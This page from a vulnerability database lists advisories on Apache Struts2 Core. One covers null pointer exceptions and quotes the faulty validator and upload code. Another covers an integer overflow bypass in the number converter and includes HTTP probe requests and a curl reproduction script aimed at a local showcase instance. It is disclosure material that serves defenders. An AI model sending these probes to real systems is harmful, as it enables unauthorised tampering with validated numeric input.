Search
Find a vulnerability
Search criteria
5 vulnerabilities found for Struts2 Core by Apache
GCVE-1988-2026-0558
Vulnerability from gna-1988 – Published: 2026-11-13 01:56 – Updated: 2026-11-13 01:56
VLAI
EPSS
VEX
Title
Apache Struts2 Core and Plugins <=7.4.0 Multiple Null Pointer Exceptions
Summary
The Apache Struts2 Core, Apache Struts2 Convention Plugin, Apache Struts2 REST plugin, and the Apache Struts2
JavaTemplates plugin, Apache Struts2 Tiles plugin, etc., all versions <=7.4.0/<=6.12.0/etc., dereference or iterate
over data that can be non-null -- such as an unmapped configuration lookup, an absent collection element, a failed
backing-store lookup, an unselected optional upload field, or an unresolved expression-language property, a security
pattern-matching call invoked with no candidate expression to test, or a missing bundle entry's substituted default
message -- without first checking whether that value is `null`.
Impact
Any caller -- an attacker or an entirely ordinary user -- who executes a code path in which the underlying value is
absent or `null` (e.g., an incomplete configuration hierarchy, a missing or empty form field, a non-existent lookup
key, an unselected optional upload, or application data that simply does not expose the expected property) will cause
an uncaught `NullPointerException` to bubble up the stack, resulting in a `500 Internal Server Error`. This may result
in information disclosure -- either directly or otherwise - and, like all `500` responses, signals to malicious
entities that the information system contains significant bugs, errors, and unintended side effects brought about by
unexpected input and edge cases.
While these may seem to merely be "reliability bugs", they undermine the availability of systems that rely upon the
underlying code, especially if the victim is on behind a load balancer or other front-end system that sees a `500
Internal Server Error` as a sign of an unhealthy environment and tears it down. Moreover, it is not inconceivable that
a configuration file or variable is non-null in development, staging, or elsewhere but not in production, resulting in
unexpected exceptions and other issues that either were not identified during testing or could not have been identified
in testing. It should also be noted that these kinds of issues are examples of poor coding standards, testing, and
weak peer-review processes.
Examples
As with many of the previously released advisories, there are many instances of this, so we will limit it to a subset
of instances from which the others may be derived -- again, for the sake of brevity and because it simply isn't our job
to enumerate all instances of a single vulnerable (like with the Struts2 insecure JSON deserialisation pathways where
we made clear the issue, mechanisms, and proof of concept while also citing sample responsible code and providing
detailed analysis thereof). Please excuse us for our terseness on this one -- we have written up many of these, as of
late, and the rather glaring theme and sheer number of issues makes such write-ups time consuming (old code or not, all
of these are things that have been well-documented, frowned upon coding paradigms and constructs for literal decades,
long before any of the code in question was written) -- and this is all without getting into the more "juicy" findings.
RangeValidatorSupport -- Null Elements
`RangeValidatorSupport.validate(Object)`, in `struts2-core`, only `null`-checks the top-level array- or
`Collection`-typed field before iterating over the elements and passing each one to `validateValue(Object, Comparable,
T, T)`, which can call to `value.compareTo(min)` and `value.compareTo(max)` -- so a single `null` element inside an
otherwise non-`null` collection will cause a `NullPointerException`.
```java
public void validate(Object object) throws ValidationException {
Object obj = getFieldValue(getFieldName(), object);
// if there is no value - don't do comparison
// if a value is required, a required validator should be added to the field
if (obj == null) {
return;
}
T min = getMin();
T max = getMax();
if (obj.getClass().isArray()) {
Object[] values = (Object[]) obj;
for (Object objValue : values) {
validateValue(object, (Comparable<T>) objValue, min, max);
}
} else if (Collection.class.isAssignableFrom(obj.getClass())) {
Collection<?> values = (Collection<?>) obj;
for (Object objValue : values) {
validateValue(object, (Comparable<T>) objValue, min, max);
}
} else {
validateValue(object, (Comparable<T>) obj, min, max);
}
}
```
Code snippet from `struts2-core`'s
core/src/main/java/org/apache/struts2/validator/validators/RangeValidatorSupport.java, lines 46-71
```java
protected void validateValue(Object object, Comparable<T> value, T min, T max) {
setCurrentValue(value);
// only check for a minimum value if the min parameter is set
if ((min != null) && (value.compareTo(min) < 0)) {
addFieldError(getFieldName(), object);
}
// only check for a maximum value if the max parameter is set
if ((max != null) && (value.compareTo(max) > 0)) {
addFieldError(getFieldName(), object);
}
setCurrentValue(null);
}
```
Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/validator/validators/RangeValidatorSupport.java,
lines 73-87, showing the unconditional `value.compareTo` dereference
DoubleRangeValidator -- Null Elements
`DoubleRangeFieldValidator`, in `struts2-core`, does not extend `RangeValidatorSupport<T>` the way that
`IntRangeFieldValidator`, `LongRangeFieldValidator`, `ShortRangeFieldValidator`, and `LocalDateRangeFieldValidator` all
do -- it implements its own `validate(Object)`, `validateCollection(Double, Double, Double, Double, Collection)`, and
`validateValue(Object, Double, Double, Double, Double)` methods -- and contains the identical problematic code but
under the `validate` to `validateCollection` pathway, which, again, only performs a nullness check on the top-level
object, but, this time, the exception occurs when `validateValue` unconditionally calls `Object.toString()` inside of a
try-catch block that only handles `NumberFormatException`.
```java
public void validate(Object object) throws ValidationException {
String fieldName = getFieldName();
Object obj = this.getFieldValue(fieldName, object);
if (obj == null) {
return;
}
Double maxInclusiveToUse = getMaxInclusive();
Double minInclusiveToUse = getMinInclusive();
Double maxExclusiveToUse = getMaxExclusive();
Double minExclusiveToUse = getMinExclusive();
if (obj.getClass().isArray()) {
Object[] values = (Object[]) obj;
validateCollection(maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse,
Arrays.asList(values));
} else if (Collection.class.isAssignableFrom(obj.getClass())) {
Collection values = (Collection) obj;
validateCollection(maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse, values);
} else {
validateValue(obj, maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse);
}
}
protected void validateCollection(Double maxInclusiveToUse, Double minInclusiveToUse, Double maxExclusiveToUse,
Double minExclusiveToUse, Collection values) {
for (Object objValue : values) {
validateValue(objValue, maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse);
}
}
```
Code snippet from `struts2-core`'s
core/src/main/java/org/apache/struts2/validator/validators/DoubleRangeFieldValidator.java, lines 109-136, showing the
top-level-only null check at line 112 and `validateCollection()`'s per-element iteration with no null check
```java
protected void validateValue(Object obj, Double maxInclusiveToUse, Double minInclusiveToUse, Double
maxExclusiveToUse, Double minExclusiveToUse) {
try {
setCurrentValue(obj);
Double value = Double.valueOf(obj.toString());
if ((maxInclusiveToUse != null && value.compareTo(maxInclusiveToUse) > 0) ||
(minInclusiveToUse != null && value.compareTo(minInclusiveToUse) < 0) ||
(maxExclusiveToUse != null && value.compareTo(maxExclusiveToUse) >= 0) ||
(minExclusiveToUse != null && value.compareTo(minExclusiveToUse) <= 0)) {
addFieldError(getFieldName(), value);
}
} catch (NumberFormatException e) {
LOG.debug("Cannot validate value {} - not a Double", obj, e);
} finally {
setCurrentValue(null);
}
}
```
Snippet from `struts2-core`'s
core/src/main/java/org/apache/struts2/validator/validators/DoubleRangeFieldValidator.java, lines 138-153, showing the
unconditional `obj.toString()` call and the `catch` clause that handles only `NumberFormatException`
FileUploadAction/MultipleFileUploadUsingArrayAction -- Nullable Optional Upload
`FileUploadAction.getUploadedFile()` and `MultipleFileUploadUsingArrayAction.upload()`, both in `struts2-showcase`,
dereference or iterate over their respective `uploadedFile`/`uploadedFiles` fields without a nullness check, but
`ActionFileUploadInterceptor`, in `struts2-core`, only ever assigns either field when at least one file was accepted
from the multipart request -- leaving both fields `null` whenever the form is submitted without a file having been
selected. Importantly, `struts2-showcase` is "sample code" and contains cross-site scripting (XSS) and various other
issues (OGNL injection, of course), but we felt it important to show the code so that others are aware of how the
interceptor operates and to not use the sample code as any kind of a guide (for many reasons).
```java
public Object getUploadedFile() {
return uploadedFile.getContent();
}
```
Code snippet from `struts2-showcase`'s
apps/showcase/src/main/java/org/apache/struts2/showcase/fileupload/FileUploadAction.java, lines 66-68
```java
public String upload() throws Exception {
System.out.println("\n\n upload2");
System.out.println("files:");
for (UploadedFile u : uploadedFiles) {
System.out.println("*** " + u + "\t" + u.length());
}
```
Snippet from `struts2-showcase`'s
apps/showcase/src/main/java/org/apache/struts2/showcase/fileupload/MultipleFileUploadUsingArrayAction.java, lines 41-45
```java
if (acceptedFiles.isEmpty()) {
LOG.debug("No files have been uploaded/accepted");
} else {
LOG.debug("Passing: {} uploaded file(s) to action", acceptedFiles.size());
action.withUploadedFiles(acceptedFiles);
}
// invoke action
return invocation.invoke();
```
Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/interceptor/ActionFileUploadInterceptor.java, lines
278-286, showing both fields left unset whenever no files are accepted
SelectHandle -- Option Group Rendering Dereferences an Unresolved Lookup
`SelectHandler.writeOptionGroup()`, in `struts2-javatemplates-plugin`, calls `toString()` directly on the object
returned by a value-stack lookup for a configured list-key or list-value property without a nullness check, even though
the sibling top-level list-rendering code in the very same class already null-checks the identical lookup before
calling `toString()` on it.
```java
Object tmpKey = stack.findValue(listKey != null ? listKey : "top");
String tmpKeyStr = StringUtils.defaultString(tmpKey.toString());
Object tmpValue = stack.findValue(listValue != null ? listValue : "top");
String tmpValueStr = StringUtils.defaultString(tmpValue.toString());
```
Code snippet from `struts2-javatemplates-plugin`'s
plugins/javatemplates/src/main/java/org/apache/struts2/views/java/simple/SelectHandler.java, lines 135-138
```java
//key
Object itemKey = findValue(listKey != null ? listKey : "top");
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Nov/19 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache | Struts2 Core |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Struts2 Core",
"vendor": "Apache",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Apache Struts2 Core, Apache Struts2 Convention Plugin, Apache Struts2 REST plugin, and the Apache Struts2 \nJavaTemplates plugin, Apache Struts2 Tiles plugin, etc., all versions \u003c=7.4.0/\u003c=6.12.0/etc., dereference or iterate \nover data that can be non-null -- such as an unmapped configuration lookup, an absent collection element, a failed \nbacking-store lookup, an unselected optional upload field, or an unresolved expression-language property, a security \npattern-matching call invoked with no candidate expression to test, or a missing bundle entry\u0027s substituted default \nmessage -- without first checking whether that value is `null`.\n\nImpact\nAny caller -- an attacker or an entirely ordinary user -- who executes a code path in which the underlying value is \nabsent or `null` (e.g., an incomplete configuration hierarchy, a missing or empty form field, a non-existent lookup \nkey, an unselected optional upload, or application data that simply does not expose the expected property) will cause \nan uncaught `NullPointerException` to bubble up the stack, resulting in a `500 Internal Server Error`. This may result \nin information disclosure -- either directly or otherwise - and, like all `500` responses, signals to malicious \nentities that the information system contains significant bugs, errors, and unintended side effects brought about by \nunexpected input and edge cases.\n\nWhile these may seem to merely be \"reliability bugs\", they undermine the availability of systems that rely upon the \nunderlying code, especially if the victim is on behind a load balancer or other front-end system that sees a `500 \nInternal Server Error` as a sign of an unhealthy environment and tears it down. Moreover, it is not inconceivable that \na configuration file or variable is non-null in development, staging, or elsewhere but not in production, resulting in \nunexpected exceptions and other issues that either were not identified during testing or could not have been identified \nin testing. It should also be noted that these kinds of issues are examples of poor coding standards, testing, and \nweak peer-review processes.\n\nExamples\nAs with many of the previously released advisories, there are many instances of this, so we will limit it to a subset \nof instances from which the others may be derived -- again, for the sake of brevity and because it simply isn\u0027t our job \nto enumerate all instances of a single vulnerable (like with the Struts2 insecure JSON deserialisation pathways where \nwe made clear the issue, mechanisms, and proof of concept while also citing sample responsible code and providing \ndetailed analysis thereof). Please excuse us for our terseness on this one -- we have written up many of these, as of \nlate, and the rather glaring theme and sheer number of issues makes such write-ups time consuming (old code or not, all \nof these are things that have been well-documented, frowned upon coding paradigms and constructs for literal decades, \nlong before any of the code in question was written) -- and this is all without getting into the more \"juicy\" findings.\n\nRangeValidatorSupport -- Null Elements\n`RangeValidatorSupport.validate(Object)`, in `struts2-core`, only `null`-checks the top-level array- or \n`Collection`-typed field before iterating over the elements and passing each one to `validateValue(Object, Comparable, \nT, T)`, which can call to `value.compareTo(min)` and `value.compareTo(max)` -- so a single `null` element inside an \notherwise non-`null` collection will cause a `NullPointerException`.\n\n```java\npublic void validate(Object object) throws ValidationException {\n Object obj = getFieldValue(getFieldName(), object);\n\n // if there is no value - don\u0027t do comparison\n // if a value is required, a required validator should be added to the field\n if (obj == null) {\n return;\n }\n\n T min = getMin();\n T max = getMax();\n\n if (obj.getClass().isArray()) {\n Object[] values = (Object[]) obj;\n for (Object objValue : values) {\n validateValue(object, (Comparable\u003cT\u003e) objValue, min, max);\n }\n } else if (Collection.class.isAssignableFrom(obj.getClass())) {\n Collection\u003c?\u003e values = (Collection\u003c?\u003e) obj;\n for (Object objValue : values) {\n validateValue(object, (Comparable\u003cT\u003e) objValue, min, max);\n }\n } else {\n validateValue(object, (Comparable\u003cT\u003e) obj, min, max);\n }\n}\n```\nCode snippet from `struts2-core`\u0027s \ncore/src/main/java/org/apache/struts2/validator/validators/RangeValidatorSupport.java, lines 46-71\n\n```java\nprotected void validateValue(Object object, Comparable\u003cT\u003e value, T min, T max) {\n setCurrentValue(value);\n\n // only check for a minimum value if the min parameter is set\n if ((min != null) \u0026\u0026 (value.compareTo(min) \u003c 0)) {\n addFieldError(getFieldName(), object);\n }\n\n // only check for a maximum value if the max parameter is set\n if ((max != null) \u0026\u0026 (value.compareTo(max) \u003e 0)) {\n addFieldError(getFieldName(), object);\n }\n\n setCurrentValue(null);\n}\n```\nSnippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/validator/validators/RangeValidatorSupport.java, \nlines 73-87, showing the unconditional `value.compareTo` dereference\n\nDoubleRangeValidator -- Null Elements\n`DoubleRangeFieldValidator`, in `struts2-core`, does not extend `RangeValidatorSupport\u003cT\u003e` the way that \n`IntRangeFieldValidator`, `LongRangeFieldValidator`, `ShortRangeFieldValidator`, and `LocalDateRangeFieldValidator` all \ndo -- it implements its own `validate(Object)`, `validateCollection(Double, Double, Double, Double, Collection)`, and \n`validateValue(Object, Double, Double, Double, Double)` methods -- and contains the identical problematic code but \nunder the `validate` to `validateCollection` pathway, which, again, only performs a nullness check on the top-level \nobject, but, this time, the exception occurs when `validateValue` unconditionally calls `Object.toString()` inside of a \ntry-catch block that only handles `NumberFormatException`.\n\n```java\n public void validate(Object object) throws ValidationException {\n String fieldName = getFieldName();\n Object obj = this.getFieldValue(fieldName, object);\n if (obj == null) {\n return;\n }\n\n Double maxInclusiveToUse = getMaxInclusive();\n Double minInclusiveToUse = getMinInclusive();\n Double maxExclusiveToUse = getMaxExclusive();\n Double minExclusiveToUse = getMinExclusive();\n\n if (obj.getClass().isArray()) {\n Object[] values = (Object[]) obj;\n validateCollection(maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse, \nArrays.asList(values));\n } else if (Collection.class.isAssignableFrom(obj.getClass())) {\n Collection values = (Collection) obj;\n validateCollection(maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse, values);\n } else {\n validateValue(obj, maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse);\n }\n }\n\n protected void validateCollection(Double maxInclusiveToUse, Double minInclusiveToUse, Double maxExclusiveToUse, \nDouble minExclusiveToUse, Collection values) {\n for (Object objValue : values) {\n validateValue(objValue, maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse);\n }\n }\n```\nCode snippet from `struts2-core`\u0027s \ncore/src/main/java/org/apache/struts2/validator/validators/DoubleRangeFieldValidator.java, lines 109-136, showing the \ntop-level-only null check at line 112 and `validateCollection()`\u0027s per-element iteration with no null check\n\n```java\n protected void validateValue(Object obj, Double maxInclusiveToUse, Double minInclusiveToUse, Double \nmaxExclusiveToUse, Double minExclusiveToUse) {\n try {\n setCurrentValue(obj);\n Double value = Double.valueOf(obj.toString());\n if ((maxInclusiveToUse != null \u0026\u0026 value.compareTo(maxInclusiveToUse) \u003e 0) ||\n (minInclusiveToUse != null \u0026\u0026 value.compareTo(minInclusiveToUse) \u003c 0) ||\n (maxExclusiveToUse != null \u0026\u0026 value.compareTo(maxExclusiveToUse) \u003e= 0) ||\n (minExclusiveToUse != null \u0026\u0026 value.compareTo(minExclusiveToUse) \u003c= 0)) {\n addFieldError(getFieldName(), value);\n }\n } catch (NumberFormatException e) {\n LOG.debug(\"Cannot validate value {} - not a Double\", obj, e);\n } finally {\n setCurrentValue(null);\n }\n }\n```\nSnippet from `struts2-core`\u0027s \ncore/src/main/java/org/apache/struts2/validator/validators/DoubleRangeFieldValidator.java, lines 138-153, showing the \nunconditional `obj.toString()` call and the `catch` clause that handles only `NumberFormatException`\n\nFileUploadAction/MultipleFileUploadUsingArrayAction -- Nullable Optional Upload\n`FileUploadAction.getUploadedFile()` and `MultipleFileUploadUsingArrayAction.upload()`, both in `struts2-showcase`, \ndereference or iterate over their respective `uploadedFile`/`uploadedFiles` fields without a nullness check, but \n`ActionFileUploadInterceptor`, in `struts2-core`, only ever assigns either field when at least one file was accepted \nfrom the multipart request -- leaving both fields `null` whenever the form is submitted without a file having been \nselected. Importantly, `struts2-showcase` is \"sample code\" and contains cross-site scripting (XSS) and various other \nissues (OGNL injection, of course), but we felt it important to show the code so that others are aware of how the \ninterceptor operates and to not use the sample code as any kind of a guide (for many reasons).\n\n```java\n public Object getUploadedFile() {\n return uploadedFile.getContent();\n }\n```\nCode snippet from `struts2-showcase`\u0027s \napps/showcase/src/main/java/org/apache/struts2/showcase/fileupload/FileUploadAction.java, lines 66-68\n\n```java\n public String upload() throws Exception {\n System.out.println(\"\\n\\n upload2\");\n System.out.println(\"files:\");\n for (UploadedFile u : uploadedFiles) {\n System.out.println(\"*** \" + u + \"\\t\" + u.length());\n }\n```\nSnippet from `struts2-showcase`\u0027s \napps/showcase/src/main/java/org/apache/struts2/showcase/fileupload/MultipleFileUploadUsingArrayAction.java, lines 41-45\n\n```java\n if (acceptedFiles.isEmpty()) {\n LOG.debug(\"No files have been uploaded/accepted\");\n } else {\n LOG.debug(\"Passing: {} uploaded file(s) to action\", acceptedFiles.size());\n action.withUploadedFiles(acceptedFiles);\n }\n\n // invoke action\n return invocation.invoke();\n```\nSnippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/interceptor/ActionFileUploadInterceptor.java, lines \n278-286, showing both fields left unset whenever no files are accepted\n\nSelectHandle -- Option Group Rendering Dereferences an Unresolved Lookup\n`SelectHandler.writeOptionGroup()`, in `struts2-javatemplates-plugin`, calls `toString()` directly on the object \nreturned by a value-stack lookup for a configured list-key or list-value property without a nullness check, even though \nthe sibling top-level list-rendering code in the very same class already null-checks the identical lookup before \ncalling `toString()` on it.\n\n```java\n Object tmpKey = stack.findValue(listKey != null ? listKey : \"top\");\n String tmpKeyStr = StringUtils.defaultString(tmpKey.toString());\n Object tmpValue = stack.findValue(listValue != null ? listValue : \"top\");\n String tmpValueStr = StringUtils.defaultString(tmpValue.toString());\n```\nCode snippet from `struts2-javatemplates-plugin`\u0027s \nplugins/javatemplates/src/main/java/org/apache/struts2/views/java/simple/SelectHandler.java, lines 135-138\n\n```java\n //key\n Object itemKey = findValue(listKey != null ? listKey : \"top\");\n "
}
],
"providerMetadata": {
"dateUpdated": "2026-11-13T01:56:53Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/19"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/19"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/19"
],
"discovery": "EXTERNAL"
},
"title": "Apache Struts2 Core and Plugins \u003c=7.4.0 Multiple Null Pointer Exceptions",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0558",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/19",
"automated": true,
"contentSha256": "076c050584bd1d6519a549bdbb565e8ed8e930955afd42647f27cf348ab3dc3e",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/19",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-08T22:25:43Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-13T01:56:53Z",
"dateUpdated": "2026-11-13T01:56:53Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0558"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0535
Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
EPSS
VEX
Title
Apache Struts2 Core Integer Overflow
Summary
Description
Apache Struts2 Core version 7.4.0 and below fails to properly prevent integer overflows, causing wrap-arounds and other
issues on a downstream forced casting into types smaller than `BigInteger`. Importantly, this finding underscores why
all applications using Struts and other such platforms should perform their own input validation checks and not blindly
assume that the upstream Struts2 code has done as such, but the finding also shows that input passed from the upstream
provider may not faithfully represent what the user provided.
Impact
An attacker who can influence a parameter bound to a boxed `Byte`, `Short`, `Integer`, `Long`, or `Character` action
property can submit a numeric string that is both out of range for the target type and formatted using the resolved
locale's grouping separator (e.g. `"2,147,483,648"` under `en_US`) to make `isInRange` silently return `true` instead
of correctly rejecting the value. Since the swallowed `NumberFormatException` never reaches the caller, execution
proceeds into `DefaultTypeConverter.convertValue`, where the oversized value is narrowed with an unchecked cast such as
`(int) longValue(value)`, silently wrapping it into the target type's range ("2,147,483,648" becomes `-2147483648` for
an `Integer` field) instead of raising the `TypeConversionException` the overflow guard is supposed to produce. This
lets a value the application assumes was range-validated reach downstream business logic as an unexpected negative,
zero, or otherwise mismatched figure, which can corrupt quantity, monetary, identifier, or other numeric computations
and any authorisation or business-rule decision that depends on the converted value being bounded and faithful to the
caller's submitted intent.
Examples
Sample Code
`NumberConverter.convertValue`, in `core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java`, parses
a request string using a grouping-aware `NumberFormat` and then calls `isInRange` with the original, still-grouped
string to confirm the parsed value is within bounds for the target numeric type; `isInRange` re-parses that same
grouped string with `new BigInteger`, and its `catch` block treats the resulting `NumberFormatException` as
confirmation that the value is in range. Once `isInRange` has incorrectly reported that the value is acceptable,
control returns to `NumberConverter.convertValue`, which delegates to `DefaultTypeConverter.convertValue`; for an
`Integer`-typed target this narrows the value with an unchecked cast, producing the actual silent wraparound.
```java
} else {
if (stringValue.isEmpty()) {
return null;
}
NumberFormat numFormat = NumberFormat.getInstance(getLocale(context));
ParsePosition parsePos = new ParsePosition(0);
if (isIntegerType(toType)) {
numFormat.setParseIntegerOnly(true);
}
numFormat.setGroupingUsed(true);
Number number = numFormat.parse(stringValue, parsePos);
if (parsePos.getIndex() != stringValue.length()) {
throw new TypeConversionException("Unparseable number: \"" + stringValue + "\" at position "
+ parsePos.getIndex());
} else {
if (!isInRange(number, stringValue, toType))
throw new TypeConversionException("Overflow or underflow casting: \"" + stringValue + "\" into
class " + number.getClass().getName());
value = super.convertValue(context, number, toType);
}
}
```
Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines
57-78
```java
} else if (int.class == toType || Integer.class == toType) {
bigValue = new BigInteger(stringValue);
lowerBound = BigInteger.valueOf(Integer.MIN_VALUE);
upperBound = BigInteger.valueOf(Integer.MAX_VALUE);
} else if (long.class == toType || Long.class == toType) {
bigValue = new BigInteger(stringValue);
lowerBound = BigInteger.valueOf(Long.MIN_VALUE);
upperBound = BigInteger.valueOf(Long.MAX_VALUE);
} else {
throw new IllegalArgumentException("Unexpected numeric type: " + toType.getName());
}
} catch (NumberFormatException e) {
//shoult it fail here? BigInteger doesnt seem to be so nice parsing numbers as NumberFormat
return true;
}
```
Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines 209-222
```java
if ((toType == Integer.class) || (toType == Integer.TYPE))
result = (int) longValue(value);
```
Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/conversion/impl/DefaultTypeConverter.java,
lines 122-123, showing the casting to `int` that causes the wrap-around
Sample Request-Response Pairs
`org.apache.struts2.showcase.ajax.Example5Action`, reachable via `/showcase/showcase/ajax/example5.action`, exposes a
boxed `Integer age` property behind a `@StrutsParameter`-annotated setter, so the overflow guard bypass in
`struts2-core` is reachable through this action's ordinary input binding. The four live probes below, each issued on a
freshly established session with devMode's `DebuggingInterceptor` set to `debug=command&expression=age` so that the
bound value can be read straight off the per-request value stack, isolate the defect to the comma -- the first probe
submits `Integer.MAX_VALUE + 1` with a grouping separator and receives the wrapped, unrelated negative value; the first
control submits the identical magnitude without a comma and that is correctly rejected; the second control submits a
genuinely in-range grouped value that converts correctly; and the third control submits a bare baseline value that
converts correctly.
```http
GET
/showcase/showcase/ajax/example5.action?age=2%2C147%2C483%2C648&name=overflow-grouped-probe&debug=command&expression=age
HTTP/1.1
Host: 127.0.0.1:8383
```
A request containing a value too large to fit in an `int` -- `age=2,147,483,648` (`Integer.MAX_VALUE + 1`)
```http
HTTP/1.1 200
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 11
-2147483648
```
The server accepts the request and the parameter bypasses the overflow guard, is cast to an `int`, and wraps-around to
`-2147483648` instead of raising a `TypeConversionException`
```http
GET /showcase/showcase/ajax/example5.action?age=2147483648&name=overflow-ungrouped-control&debug=command&expression=age
HTTP/1.1
Host: 127.0.0.1:8383
```
A request containing a value too large to fit in an `int` -- `age=2147483648` -- but without a grouping separator
```http
HTTP/1.1 200
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 3154
<!-- ... --><html>...<title>Struts Problem Report</title>...
```
The server correctly rejects the value, catching the overflow
```http
GET /showcase/showcase/ajax/example5.action?age=1%2C234&name=in-range-grouped-control&debug=command&expression=age
HTTP/1.1
Host: 127.0.0.1:8383
```
Control request -- `age=1,234` -- an in-range, comma-grouped number
```http
HTTP/1.1 200
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 4
1234
```
Response showing that numbers with commas that remain in-bounds stay as such and are properly interpreted
```http
GET /showcase/showcase/ajax/example5.action?age=42&name=baseline-control&debug=command&expression=age HTTP/1.1
Host: 127.0.0.1:8383
```
Control request -- `age=42` -- a bare baseline value
```http
HTTP/1.1 200
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 2
42
```
Response showing correct conversion, as one would expect
Steps to Reproduce
This is intended to run against a system using the showcase example. Remember that the issue is locale-aware, so your
grouping may not be via commas.
```zsh
#!/usr/bin/env zsh
BASE_URL="http://127.0.0.1 :8383/showcase/showcase/ajax/example5.action"
echo "=== Vulnerable probe: age=2,147,483,648 (Integer.MAX_VALUE + 1, comma-grouped) ==="
curl -i -s --get \
--data-urlencode "age=2,147,483,648" \
--data-urlencode "name=overflow-grouped-probe" \
--data-urlencode "debug=command" \
--data-urlencode "expression=age" \
"$BASE_URL"
echo "\n\n=== Control 1: age=2147483648 (identical magnitude, no grouping separator) ==="
curl -i -s --get \
--data-urlencode "age=2147483648" \
--data-urlencode "name=overflow-ungrouped-control" \
--data-urlencode "debug=command" \
--data-urlencode "expression=age" \
"$BASE_URL"
echo "\n\n=== Control 2: age=1,234 (genuinely in-range, comma-grouped) ==="
curl -i -s --get \
--data-urlencode "age=1,234" \
--data-urlencode "name=in-range-grouped-control" \
--data-urlencode "debug=command" \
--data-urlencode "expression=age" \
"$BASE_URL"
echo "\n\n=== Control 3: age=42 (bare baseline) ==="
curl -i -s --get \
--data-urlencode "age=42" \
--data-urlencode "name=baseline-control" \
--data-urlencode "debug=command" \
--data-urlencode "expression=age" \
"$BASE_URL"
```
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Nov/4 | technical-description |
| http://127.0.0.1 | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache | Struts2 Core |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Struts2 Core",
"vendor": "Apache",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\nApache Struts2 Core version 7.4.0 and below fails to properly prevent integer overflows, causing wrap-arounds and other \nissues on a downstream forced casting into types smaller than `BigInteger`. Importantly, this finding underscores why \nall applications using Struts and other such platforms should perform their own input validation checks and not blindly \nassume that the upstream Struts2 code has done as such, but the finding also shows that input passed from the upstream \nprovider may not faithfully represent what the user provided.\n\nImpact\nAn attacker who can influence a parameter bound to a boxed `Byte`, `Short`, `Integer`, `Long`, or `Character` action \nproperty can submit a numeric string that is both out of range for the target type and formatted using the resolved \nlocale\u0027s grouping separator (e.g. `\"2,147,483,648\"` under `en_US`) to make `isInRange` silently return `true` instead \nof correctly rejecting the value. Since the swallowed `NumberFormatException` never reaches the caller, execution \nproceeds into `DefaultTypeConverter.convertValue`, where the oversized value is narrowed with an unchecked cast such as \n`(int) longValue(value)`, silently wrapping it into the target type\u0027s range (\"2,147,483,648\" becomes `-2147483648` for \nan `Integer` field) instead of raising the `TypeConversionException` the overflow guard is supposed to produce. This \nlets a value the 